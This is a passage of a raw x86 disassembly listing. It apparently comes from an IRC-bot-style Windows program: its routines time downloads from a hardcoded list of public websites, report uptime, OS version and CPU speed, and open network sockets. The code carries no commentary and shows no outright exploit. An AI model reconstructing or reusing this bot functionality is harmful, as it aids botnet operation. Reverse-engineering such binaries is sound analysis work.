esi call sub_41BA91 pop ecx pop ecx loc_41ABF7: ; CODE XREF: sub_41AA1E+19j ; sub_41AA1E+42j ... xor eax, eax jmp short loc_41ABD9 sub_41AA1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABFB proc near ; CODE XREF: sub_401ACD+2E1Ep var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41AA04 push [ebp+eax*4+var_3C] call sub_41AA1E push 8 mov esi, eax call sub_41AA04 push [ebp+eax*4+var_3C] call sub_41AA1E add esp, 10h test esi, esi jz short loc_41ACFC test eax, eax jz short loc_41ACF8 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41ACFE ; --------------------------------------------------------------------------- loc_41ACF8: ; CODE XREF: sub_41ABFB+F4j mov ebx, esi jmp short loc_41ACFE ; --------------------------------------------------------------------------- loc_41ACFC: ; CODE XREF: sub_41ABFB+F0j mov ebx, eax loc_41ACFE: ; CODE XREF: sub_41ABFB+FBj ; sub_41ABFB+FFj push 0Ch call sub_41AA04 push [ebp+eax*4+var_6C] call sub_41AA1E push 0Ch mov edi, eax call sub_41AA04 push [ebp+eax*4+var_6C] call sub_41AA1E add esp, 10h test edi, edi jz short loc_41AD36 test eax, eax jz short loc_41AD32 lea esi, [eax+edi] shr esi, 1 jmp short loc_41AD38 ; --------------------------------------------------------------------------- loc_41AD32: ; CODE XREF: sub_41ABFB+12Ej mov esi, edi jmp short loc_41AD38 ; --------------------------------------------------------------------------- loc_41AD36: ; CODE XREF: sub_41ABFB+12Aj mov esi, eax loc_41AD38: ; CODE XREF: sub_41ABFB+135j ; sub_41ABFB+139j push 6 call sub_41AA04 push [ebp+eax*4+var_1C] call sub_41AA1E push 6 mov edi, eax call sub_41AA04 push [ebp+eax*4+var_1C] call sub_41AA1E add esp, 10h test edi, edi jz short loc_41AD70 test eax, eax jz short loc_41AD6C lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41AD72 ; --------------------------------------------------------------------------- loc_41AD6C: ; CODE XREF: sub_41ABFB+168j mov ecx, edi jmp short loc_41AD72 ; --------------------------------------------------------------------------- loc_41AD70: ; CODE XREF: sub_41ABFB+164j mov ecx, eax loc_41AD72: ; CODE XREF: sub_41ABFB+16Fj ; sub_41ABFB+173j xor eax, eax test ebx, ebx jz short loc_41AD7F mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41AD82 ; --------------------------------------------------------------------------- loc_41AD7F: ; CODE XREF: sub_41ABFB+17Bj push 2 pop edi loc_41AD82: ; CODE XREF: sub_41ABFB+182j test esi, esi jz short loc_41AD8A add eax, esi jmp short loc_41AD8B ; --------------------------------------------------------------------------- loc_41AD8A: ; CODE XREF: sub_41ABFB+189j dec edi loc_41AD8B: ; CODE XREF: sub_41ABFB+18Dj test ecx, ecx jz short loc_41AD93 add eax, ecx jmp short loc_41AD94 ; --------------------------------------------------------------------------- loc_41AD93: ; CODE XREF: sub_41ABFB+192j dec edi loc_41AD94: ; CODE XREF: sub_41ABFB+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43A990 push eax call sub_41C266 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_26C] push eax call sub_415D38 add esp, 30h pop edi pop esi pop ebx leave retn sub_41ABFB endp ; =============== S U B R O U T I N E ======================================= sub_41ADD8 proc near ; CODE XREF: sub_401ACD+257Bp ; sub_401ACD+29CDp ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 269083Ah xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DBC90 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41C360 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41ADD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE41 proc near ; CODE XREF: sub_4172C1+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26D04D8h test eax, eax jz short loc_41AED4 cmp [ebp+var_90], 4 jnz short loc_41AEAA cmp [ebp+var_8C], esi jnz short loc_41AE92 cmp [ebp+var_84], 1 jnz short loc_41AE85 push 1 pop esi loc_41AE85: ; CODE XREF: sub_41AE41+3Fj cmp [ebp+var_84], 2 jnz short loc_41AED4 push 1 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AE92: ; CODE XREF: sub_41AE41+36j cmp [ebp+var_8C], 0Ah jnz short loc_41AE9F loc_41AE9B: ; CODE XREF: sub_41AE41+78j push 2 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AE9F: ; CODE XREF: sub_41AE41+58j cmp [ebp+var_8C], 5Ah jnz short loc_41AED4 jmp short loc_41AEC4 ; --------------------------------------------------------------------------- loc_41AEAA: ; CODE XREF: sub_41AE41+2Ej cmp [ebp+var_90], 5 jnz short loc_41AED4 cmp [ebp+var_8C], esi jz short loc_41AE9B cmp [ebp+var_8C], 1 jnz short loc_41AEC8 loc_41AEC4: ; CODE XREF: sub_41AE41+67j push 3 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AEC8: ; CODE XREF: sub_41AE41+81j cmp [ebp+var_8C], 2 jnz short loc_41AED4 push 7 loc_41AED3: ; CODE XREF: sub_41AE41+4Fj ; sub_41AE41+5Cj ... pop esi loc_41AED4: ; CODE XREF: sub_41AE41+25j ; sub_41AE41+4Bj ... mov eax, esi pop esi leave retn sub_41AE41 endp ; =============== S U B R O U T I N E ======================================= sub_41AED9 proc near ; CODE XREF: sub_41AF8F+290p push ebx push esi push edi mov esi, 0F4240h loc_41AEE1: ; CODE XREF: sub_41AED9+2Fj ; sub_41AED9+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call near ptr 2670E97h nop rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41DCB0 mov edi, edx mov ebx, eax test edi, edi ja short loc_41AEE1 jb short loc_41AF10 cmp ebx, esi ja short loc_41AEE1 loc_41AF10: ; CODE XREF: sub_41AED9+31j push 0 push 64h push edi push ebx call sub_41DD20 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AF83 jb short loc_41AF2F cmp esi, 50h jnb short loc_41AF34 loc_41AF2F: ; CODE XREF: sub_41AED9+4Fj push 4Bh xor edx, edx pop eax loc_41AF34: ; CODE XREF: sub_41AED9+54j test ecx, ecx ja short loc_41AF83 jb short loc_41AF3F cmp esi, 47h jnb short loc_41AF44 loc_41AF3F: ; CODE XREF: sub_41AED9+5Fj push 42h xor edx, edx pop eax loc_41AF44: ; CODE XREF: sub_41AED9+64j test ecx, ecx ja short loc_41AF83 jb short loc_41AF4F cmp esi, 37h jnb short loc_41AF54 loc_41AF4F: ; CODE XREF: sub_41AED9+6Fj push 32h xor edx, edx pop eax loc_41AF54: ; CODE XREF: sub_41AED9+74j test ecx, ecx ja short loc_41AF83 jb short loc_41AF5F cmp esi, 26h jnb short loc_41AF64 loc_41AF5F: ; CODE XREF: sub_41AED9+7Fj push 21h xor edx, edx pop eax loc_41AF64: ; CODE XREF: sub_41AED9+84j test ecx, ecx ja short loc_41AF83 jb short loc_41AF6F cmp esi, 1Eh jnb short loc_41AF74 loc_41AF6F: ; CODE XREF: sub_41AED9+8Fj push 19h xor edx, edx pop eax loc_41AF74: ; CODE XREF: sub_41AED9+94j test ecx, ecx ja short loc_41AF83 jb short loc_41AF7F cmp esi, 0Ah jnb short loc_41AF83 loc_41AF7F: ; CODE XREF: sub_41AED9+9Fj xor eax, eax xor edx, edx loc_41AF83: ; CODE XREF: sub_41AED9+4Dj ; sub_41AED9+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41AED9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF8F proc near ; CODE XREF: sub_401ACD+2728p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43DB88 mov [ebp+var_CC], 94h nop call near ptr 26D04D8h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41B016 cmp [ebp+var_C4], ebx jnz short loc_41AFF2 cmp [ebp+var_BC], 1 jnz short loc_41AFDC mov [ebp+var_4], offset dword_431620 loc_41AFDC: ; CODE XREF: sub_41AF8F+44j cmp [ebp+var_BC], 2 jnz loc_41B091 mov [ebp+var_4], offset dword_43161C jmp short loc_41B062 ; --------------------------------------------------------------------------- loc_41AFF2: ; CODE XREF: sub_41AF8F+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41B004 mov [ebp+var_4], offset dword_431618 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B004: ; CODE XREF: sub_41AF8F+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41B052 mov [ebp+var_4], offset dword_431614 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B016: ; CODE XREF: sub_41AF8F+33j cmp [ebp+var_C8], 5 jnz short loc_41B052 cmp [ebp+var_C4], ebx jnz short loc_41B030 mov [ebp+var_4], offset dword_431610 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B030: ; CODE XREF: sub_41AF8F+96j cmp [ebp+var_C4], 1 jnz short loc_41B042 mov [ebp+var_4], offset dword_43160C jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B042: ; CODE XREF: sub_41AF8F+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41B059 loc_41B052: ; CODE XREF: sub_41AF8F+7Cj ; sub_41AF8F+8Ej mov [ebp+var_4], offset dword_431604 loc_41B059: ; CODE XREF: sub_41AF8F+73j ; sub_41AF8F+85j ... cmp [ebp+var_BC], 2 jnz short loc_41B091 loc_41B062: ; CODE XREF: sub_41AF8F+61j cmp [ebp+var_B8], bl jz short loc_41B091 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_436BB4 push eax call sub_41C266 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41B091: ; CODE XREF: sub_41AF8F+54j ; sub_41AF8F+D1j ... mov ax, word_4383AC push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CB8B4 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41B0CA lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41B0CA: ; CODE XREF: sub_41AF8F+12Cj push [ebp+arg_4] call sub_40AA06 pop ecx push eax call dword_4CBA14 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB98C cmp eax, ebx jz short loc_41B0F3 push dword ptr [eax] jmp short loc_41B0F8 ; --------------------------------------------------------------------------- loc_41B0F3: ; CODE XREF: sub_41AF8F+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41B0F8: ; CODE XREF: sub_41AF8F+162j lea eax, [ebp+var_3E4] push eax call sub_41C266 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 26709F6h lea eax, [ebp+var_114] push 46h push eax push offset dword_43AC78 push ebx mov esi, 409h push ebx push esi call near ptr 2740000h nop lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 27315A6h nop push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2830000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41C3B1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416DD9 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41ADD8 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AA06 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416CC9 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416CC9 pop ecx pop ecx push eax call sub_41AED9 push edx push eax push offset dword_43AB9C push 200h push [ebp+arg_0] call sub_41C360 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AF8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B243 proc near ; CODE XREF: sub_401ACD+2756p ; sub_401ACD+71F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41BF70 add esp, 0Ch cmp dword_4CBABC, 0 jnz short loc_41B2AF push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CB898 test eax, eax jnz short loc_41B298 lea eax, [ebp+var_8C] push offset dword_43ACF0 push eax call sub_41C266 pop ecx pop ecx loc_41B298: ; CODE XREF: sub_41B243+40j test [ebp+var_C], 1 jz short loc_41B2A5 push offset dword_43ACE8 jmp short loc_41B2AA ; --------------------------------------------------------------------------- loc_41B2A5: ; CODE XREF: sub_41B243+59j push offset off_43ACE4 loc_41B2AA: ; CODE XREF: sub_41B243+60j lea eax, [ebp+var_8] jmp short loc_41B2C7 ; --------------------------------------------------------------------------- loc_41B2AF: ; CODE XREF: sub_41B243+28j mov esi, offset off_43ACE0 lea eax, [ebp+var_8] push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41B2C7: ; CODE XREF: sub_41B243+6Aj push eax call sub_41C266 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AA06 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43AC9C push 200h push [ebp+arg_0] call sub_41C360 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41B243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B302 proc near ; DATA XREF: sub_401ACD+757Fo var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43ADD0 call sub_41BF70 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41BF70 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41BF70 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41BF70 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41BF70 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CB8D0 test eax, eax jz loc_41B49C cmp [ebp+var_34], ebx jbe short loc_41B3D9 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41BFD0 add esp, 0Ch loc_41B3D9: ; CODE XREF: sub_41B302+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41B3F7 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41BFD0 add esp, 0Ch loc_41B3F7: ; CODE XREF: sub_41B302+DEj cmp [ebp+var_20], ebx jbe short loc_41B411 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41BFD0 add esp, 0Ch loc_41B411: ; CODE XREF: sub_41B302+F8j cmp [ebp+var_18], ebx jbe short loc_41B42B push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41BFD0 add esp, 0Ch loc_41B42B: ; CODE XREF: sub_41B302+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CB984 call dword_4CB9A8 mov esi, eax cmp esi, ebx jz short loc_41B4B4 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CB99C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41B4BB push ebx push ebx push ebx push ebx push eax call dword_4CB948 test eax, eax jz short loc_41B495 push offset dword_43ADB4 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B495: ; CODE XREF: sub_41B302+18Aj push offset unk_43AD78 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B49C: ; CODE XREF: sub_41B302+B7j lea eax, [ebp+var_55C] push offset dword_43AD5C push eax call sub_41C266 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41B4CE ; --------------------------------------------------------------------------- loc_41B4B4: ; CODE XREF: sub_41B302+153j push offset unk_43AD30 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B4BB: ; CODE XREF: sub_41B302+17Bj push offset unk_43AD00 loc_41B4C0: ; CODE XREF: sub_41B302+191j ; sub_41B302+198j ... lea eax, [ebp+var_55C] push eax call sub_41C266 pop ecx pop ecx loc_41B4CE: ; CODE XREF: sub_41B302+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41B4F9 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409869 add esp, 14h loc_41B4F9: ; CODE XREF: sub_41B302+1D2j lea eax, [ebp+var_55C] push eax call sub_415D38 pop ecx push esi call dword_4CBA08 push [ebp+var_4] call dword_4CBA08 push [ebp+var_1D8] call sub_40B6D6 pop ecx push ebx nop call near ptr 26E0000h pop edi pop esi pop ebx sub_41B302 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B52C proc near ; CODE XREF: sub_401ACD+4F59p arg_0 = dword ptr 4 push esi push 100h mov esi, offset byte_4DBCCC push 0 push esi call sub_41BF70 add esp, 0Ch push [esp+4+arg_0] push offset aS_1 ; "%s" push 0FFh push esi call sub_41C360 add esp, 10h pop esi retn sub_41B52C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B55B proc near ; CODE XREF: ___:0041B843p ; ___:0041B860p ... var_14 = byte ptr -14h var_C = byte ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push esi push edi mov esi, offset dword_4DBDD4 lea edi, [ebp+var_C] mov ax, word_43ADD4 movsd movsb mov esi, offset dword_4DBDCC lea edi, [ebp+var_14] mov [ebp+var_2], ax mov ax, word_4346DC movsd mov [ebp+var_6], ax mov ax, word_4CB88C movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_41B627 mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] mov [ebp+arg_8], esi loc_41B5AD: ; CODE XREF: sub_41B55B+C7j mov eax, [ebp+arg_8] sub eax, esi jz short loc_41B5CD dec eax jnz short loc_41B61B push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B5E1 ; --------------------------------------------------------------------------- loc_41B5CD: ; CODE XREF: sub_41B55B+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_6] loc_41B5E1: ; CODE XREF: sub_41B55B+70j push eax push edi call dword_4CBA24 push ebx call sub_41B9C0 pop ecx cmp eax, 2 push esi jnz short loc_41B5FD push 4 lea eax, [ebp+var_C] jmp short loc_41B602 ; --------------------------------------------------------------------------- loc_41B5FD: ; CODE XREF: sub_41B55B+99j push 5 lea eax, [ebp+var_14] loc_41B602: ; CODE XREF: sub_41B55B+A0j push eax push edi call dword_4CBA24 push esi push ebx call sub_41B9C0 pop ecx push eax push ebx push edi call dword_4CBA24 loc_41B61B: ; CODE XREF: sub_41B55B+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_41B5AD pop ebx jmp short loc_41B69D ; --------------------------------------------------------------------------- loc_41B627: ; CODE XREF: sub_41B55B+42j dec eax jz short loc_41B646 dec eax jnz short loc_41B69D mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B65D ; --------------------------------------------------------------------------- loc_41B646: ; CODE XREF: sub_41B55B+CDj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_6] loc_41B65D: ; CODE XREF: sub_41B55B+E9j push eax push edi call dword_4CBA24 push [ebp+arg_4] call sub_41B9C0 pop ecx cmp eax, 2 push esi jnz short loc_41B67B push 4 lea eax, [ebp+var_C] jmp short loc_41B680 ; --------------------------------------------------------------------------- loc_41B67B: ; CODE XREF: sub_41B55B+117j push 5 lea eax, [ebp+var_14] loc_41B680: ; CODE XREF: sub_41B55B+11Ej push eax push edi call dword_4CBA24 push esi push [ebp+arg_4] call sub_41B9C0 pop ecx push eax push [ebp+arg_4] push edi call dword_4CBA24 loc_41B69D: ; CODE XREF: sub_41B55B+CAj ; sub_41B55B+D0j pop edi pop esi leave retn sub_41B55B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 288h push ebx push esi push edi mov esi, offset dword_43ADEC lea edi, [ebp-38h] mov ax, word_4346DC movsd movsd movsd movsb mov esi, offset dword_43ADE8 lea edi, [ebp-1Ch] movsw movsb mov esi, offset dword_4DBDD4 lea edi, [ebp-28h] movsd movsb mov esi, offset dword_43ADE4 lea edi, [ebp-10h] movsw movsb mov esi, offset dword_43ADE0 lea edi, [ebp-14h] movsw movsb mov esi, offset dword_43ADDC lea edi, [ebp-0Ch] movsw movsb xor esi, esi mov [ebp-6], ax mov [ebp-16h], ax mov ax, word ptr aR ; "r" push esi push 1 push 2 mov [ebp-18h], ax xor edi, edi call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41B724 push eax call dword_4CBA6C loc_41B724: ; CODE XREF: ___:0041B71Bj lea eax, [ebp+0Ch] mov word ptr [ebp-48h], 2 push eax call dword_4CBA14 push dword ptr [ebp+0A8h] mov [ebp-44h], eax call dword_4CB9D4 mov [ebp-46h], ax lea eax, [ebp-48h] push 10h push eax push ebx call dword_4CB97C test eax, eax jnz loc_41B820 loc_41B75C: ; CODE XREF: ___:0041B7CEj ; ___:0041B805j push 40h lea eax, [ebp-88h] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-88h] push esi push 40h push eax push ebx call dword_4CB9EC cmp eax, esi jle loc_41B82E cmp eax, 0FFFFFFFFh jz loc_41B82E mov eax, edi sub eax, esi jz short loc_41B7D0 dec eax jz short loc_41B79E dec eax jz short loc_41B80A jmp short loc_41B800 ; --------------------------------------------------------------------------- loc_41B79E: ; CODE XREF: ___:0041B797j lea eax, [ebp-1Ch] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_41B820 lea eax, [ebp-6] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-6] push eax push ebx call dword_4CBA24 push 2 pop edi jmp short loc_41B75C ; --------------------------------------------------------------------------- loc_41B7D0: ; CODE XREF: ___:0041B794j lea eax, [ebp-38h] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_41B820 lea eax, [ebp-38h] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-38h] push eax push ebx call dword_4CBA24 push 1 pop edi loc_41B800: ; CODE XREF: ___:0041B79Cj cmp edi, 3 jz short loc_41B82E jmp loc_41B75C ; --------------------------------------------------------------------------- loc_41B80A: ; CODE XREF: ___:0041B79Aj lea eax, [ebp-28h] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41B82E loc_41B820: ; CODE XREF: ___:0041B756j ; ___:0041B7B2j ... push ebx call dword_4CBA6C xor eax, eax jmp loc_41B9B7 ; --------------------------------------------------------------------------- 